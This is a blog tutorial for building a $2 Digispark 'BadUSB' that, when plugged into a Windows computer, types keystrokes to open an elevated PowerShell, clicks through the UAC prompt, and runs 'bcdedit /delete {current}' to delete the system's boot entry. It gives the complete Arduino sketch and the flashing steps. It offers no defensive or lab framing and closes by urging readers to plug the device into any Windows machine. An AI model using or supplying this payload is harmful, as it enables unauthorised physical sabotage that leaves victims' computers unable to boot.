# How We Used a $2 Chip and PowerShell to Take Down Windows in Seconds

## Prerequisites

Before you start reading, might wanna try looking up Digispark ATTINY85 boards, firmware, Arduino IDE, booting in Windows and finally Arduino C++, PowerShell commands and the Digispark Library.

![No alternative text description for this image](https://media.licdn.com/dms/image/v2/D5622AQECwbaksfiWqA/feedshare-shrink_2048_1536/feedshare-shrink_2048_1536/0/1731957638673?e=1750896000&v=beta&t=NfGp9WERD4rC-wQ84x_vnSpjH1H5aiZldZpzIluoK-Y align="left")

## Scripting time

We’ll load up the Arduino IDE (which is a Code Editor), and start writing our script. We’ll be using a mocktail of Arduino C++ with some PowerShell and the Digispark Library for this script.

```bash
#include "DigiKeyboard.h"

void setup() {
  // No setup needed
}
```

This is some boiler-plate code

### Launching PowerShell

```bash
void loop() {
  DigiKeyboard.delay(2000); // Wait for 2 seconds before executing commands
  
  // Open the Run dialog
  DigiKeyboard.sendKeyStroke(0); // Send no key to clear any previous key presses
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); // Windows + R to open Run dialog
  DigiKeyboard.delay(600); // Wait for the dialog to open
```

This snippet opens up `run.exe`

```bash
// Open PowerShell
  DigiKeyboard.print(F("powershell"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);


  // Wait for PowerShell to open
  DigiKeyboard.delay(2000);
```

We wait for a powershell window to open. Enter key is spammed repeatedly to ensure the commands are registered

### Bypassing UAC for Elevated PowerShell

Now, we open the administrator PowerShell through a UAC bypass

```bash
  // Execute command to open a new elevated PowerShell instance
  DigiKeyboard.print(F("start-process powershell -verb runas"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  
  // Delay to allow the UAC prompt to appear
  DigiKeyboard.delay(700); 

  // Navigate to the Yes button (left arrow key) and press Enter
  DigiKeyboard.sendKeyStroke(KEY_LEFT_ARROW); // Move to 'Yes'
  DigiKeyboard.delay(200); 
  DigiKeyboard.sendKeyStroke(KEY_ENTER); // Confirm UAC prompt
  

  // Wait for the elevated PowerShell window to open fully
  DigiKeyboard.delay(1000);
```

### Final Payload - Deleting Boot Entry

Finally, we now register a command that will delete the boot entry for the current OS loaded, and set the process to loop to ensure that on the script crashing, we can restart.

```bash
 // Now you can execute your commands in the elevated PowerShell
  DigiKeyboard.print(F("bcdedit /delete {current}"));
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.delay(500);

  
  for(;;) { /* Infinite loop to keep the script running */ }
}
```

## Importing the Digispark Libraries

The **Digispark library** refers to a collection of software libraries specifically designed to work with the **Digispark** development board, which is based on the **ATtiny85** microcontroller. These libraries extend the capabilities of the Digispark by providing pre-written code that makes it easier to use hardware features and interact with peripherals.

Go to **Board Manager** and add this URL:

```bash
https://drazzy.com/package_drazzy.com_index.json
```

![image](https://europe1.discourse-cdn.com/arduino/optimized/4X/7/4/3/743059866d1d8343bcc5e8e1f9d5e41fa8757c62_2_690x459.png align="left")

Then search for **ATTinyCore** and install the top result.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1747939602246/e5352e60-4b2e-48a8-ba83-b681a9000c8a.png align="center")

Cool! Now let’s see how to actually put our code into the board.

## How the Arduino IDE works

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1747939271768/e895240b-2d6e-4662-b0e4-a41a1cb41a9b.png align="center")

* **Preprocessing of** `.ino` file:
    
    The Arduino IDE **converts the** `.ino` sketch into a `.cpp` file (standard C++ source code). It automatically adds function prototypes (like `void setup();`) at the top if you didn’t write them.
    
* **Compilation**:
    
    The resulting `.cpp` file is compiled using **avr-g++** (for AVR boards like Uno, Mega) or other platform-specific compilers (like `arm-none-eabi-g++` for ARM boards). Your code is compiled **along with core Arduino libraries** and the Digispark library you've included.
    
* **Linking**: All compiled object files (`.o`) are linked together into a single binary (`.elf` or `.hex` file), which is the actual machine code representation.
    
* **Output Generation**: The final output is a `.hex` file (Intel HEX format), which contains the binary machine code instructions. This `.hex` file is what gets uploaded to your Arduino board when you click **"Upload"**.
    

The resultant hex file will look somewhat like this:

```bash
:100000000C9434000C944E000C944E000C944E00A4
...
```

## Uploading the firmware

![GitHub - micronucleus/micronucleus: ATTiny usb bootloader with a strong  emphasis on bootloader compactness.](https://opengraph.githubassets.com/ca2ac8866801d5e0334c26780ac652614c200d2758c504d25f57cb5df0e0d9c3/micronucleus/micronucleus align="left")

We’ll be using `micronucleus` here as the firmware since we used that for the experiement.

We need to choose our specific board, here it is `Board: Digispark (Default - 16.5mhz)` . Once compiled, the `.hex` file is generated, and you’ll see the path in the **verbose output**.

We’ll get a verbose output in the Arduino IDE console, let’s copy the path to the hex file

`/tmp/arduino_build_123456/sketch/Blink.ino.hex`

Now let’s start flashing, we’ll run the `micronucleus` CLI and put the file path as our argument

```bash
$: micronucleus /tmp/arduino_build_123456/sketch/Blink.ino.hex
Starting Micronucleus uploader...
Please plug in your Digispark now (within 30 seconds)...
```

Now we plug in our ATTINY85 board

```bash
Compilation and FlashingFound Digispark device (VID: 16C0, PID: 05DC)
Uploading the sketch...
Done!
```

Source to firmware: [https://github.com/micronucleus/micronucleus](https://github.com/micronucleus/micronucleus)

Now, find a Windows machine, plug the board in, wait 5 seconds, and… you’re off to the races! Subscribe for more cool content!